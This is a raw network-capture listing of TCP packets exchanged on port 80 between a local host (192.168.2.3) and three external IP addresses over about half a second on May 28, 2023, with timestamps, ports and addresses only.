May 28, 2023 10:42:49.849451065 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849468946 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849509001 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.849560976 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849617958 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.849842072 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849930048 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849948883 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849967957 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849998951 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.850023985 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.850398064 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.850418091 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.850435972 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.850508928 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.850528002 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.850555897 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.850555897 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.850831985 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.850903034 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.850913048 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.850933075 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.850990057 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.851011038 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851367950 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851388931 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851437092 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.851465940 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851485014 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851543903 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.851582050 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851634026 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.851895094 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851912975 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851938009 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851954937 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.851989985 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.852025032 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.934514999 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:49.934715986 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:49.960397959 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960503101 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960551977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960597038 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960643053 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960663080 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.960663080 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.960690022 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960726023 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.960736036 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960752964 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.960783958 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960794926 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.960832119 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960843086 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.960901976 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960915089 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.960948944 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960971117 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.960994005 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.960999966 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961040974 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961076021 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961087942 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961102962 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961137056 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961158991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961182117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961194992 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961229086 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961262941 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961277962 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961318970 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961325884 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961348057 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961373091 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961397886 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961420059 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961430073 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961467028 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961476088 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961514950 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961539984 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961561918 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961581945 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961610079 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961627007 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961658001 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961671114 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961704969 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961724043 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961750031 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961767912 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961797953 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961849928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961852074 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961852074 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961898088 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961908102 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961944103 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961952925 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.961991072 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.961999893 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.962038040 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.962047100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.962085962 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.962096930 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.962132931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.962145090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.962182045 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.962191105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.962230921 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.962240934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.962279081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.962289095 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.962326050 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.962342978 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.962398052 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.970330000 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.970405102 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.970454931 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.970539093 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.970628977 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.970674038 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.970716000 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.970721006 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.970768929 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.970813036 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.970819950 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.970892906 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.971117973 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.971164942 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.971210957 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.971256018 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.971256018 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.971328974 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.972064018 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972156048 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972208023 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972295046 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.972299099 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972351074 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972388029 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.972415924 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972476959 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972492933 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.972532034 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972601891 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.972609043 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972831964 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972903013 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.972904921 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.972994089 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.973062992 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.973068953 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.973113060 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.973165989 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.973176956 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.973212957 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.973278046 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.248095989 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248239994 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248296976 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248296976 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248339891 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248392105 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248404026 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248450041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248477936 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248537064 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248537064 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248588085 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248589039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248644114 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248653889 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248707056 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248716116 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248776913 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248781919 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248840094 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248840094 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248893023 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248909950 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.248955965 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.248975039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249022961 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249033928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249084949 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249103069 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249150991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249164104 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249223948 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249231100 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249275923 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249294043 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249341011 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249361992 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249407053 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249423981 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249470949 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249490976 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249542952 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249555111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249609947 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249617100 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249667883 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249684095 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249732018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249747992 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249793053 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249809980 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249855995 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249865055 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249911070 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.249933004 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.249984026 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250000000 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250047922 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250060081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250108004 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250128031 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250175953 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250178099 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250224113 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250224113 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250271082 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250271082 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250317097 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250317097 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250364065 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250363111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250410080 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250410080 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250457048 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250458002 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250503063 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250504017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250549078 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250550032 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250596046 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250597000 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250643969 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250647068 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250689030 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250695944 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250736952 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250756025 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250802040 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250802040 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250848055 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250859976 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250900984 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250905037 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250950098 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250952005 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.250996113 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.250997066 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251041889 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251043081 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251089096 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251091003 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251132011 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251135111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251179934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251180887 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251228094 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251229048 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251274109 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251275063 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251319885 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251322031 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251365900 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251367092 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251413107 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251413107 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251457930 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251473904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251502991 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251506090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251548052 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251549959 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251593113 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251595974 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251638889 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251640081 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251683950 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251684904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251733065 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251738071 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251779079 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251789093 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251823902 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251830101 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251871109 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251872063 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251918077 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.251919985 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251962900 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.251964092 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252010107 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252012968 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252055883 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252069950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252099991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252100945 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252152920 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252154112 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252198935 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252201080 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252245903 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252248049 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252299070 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252336979 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252382994 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252389908 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252428055 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252429008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252475023 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.252475977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.252520084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.264594078 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264636993 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264672041 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264703035 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264731884 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.264739037 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264770031 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264785051 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.264807940 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264820099 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.264837027 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264884949 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264909029 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.264919996 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264955044 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.264971972 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.264988899 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265017033 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265053034 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.265155077 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265189886 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265222073 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.265225887 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265254021 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265285015 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.265312910 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265341997 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265368938 CEST	49719	80	192.168.2.3	183.100.39.157
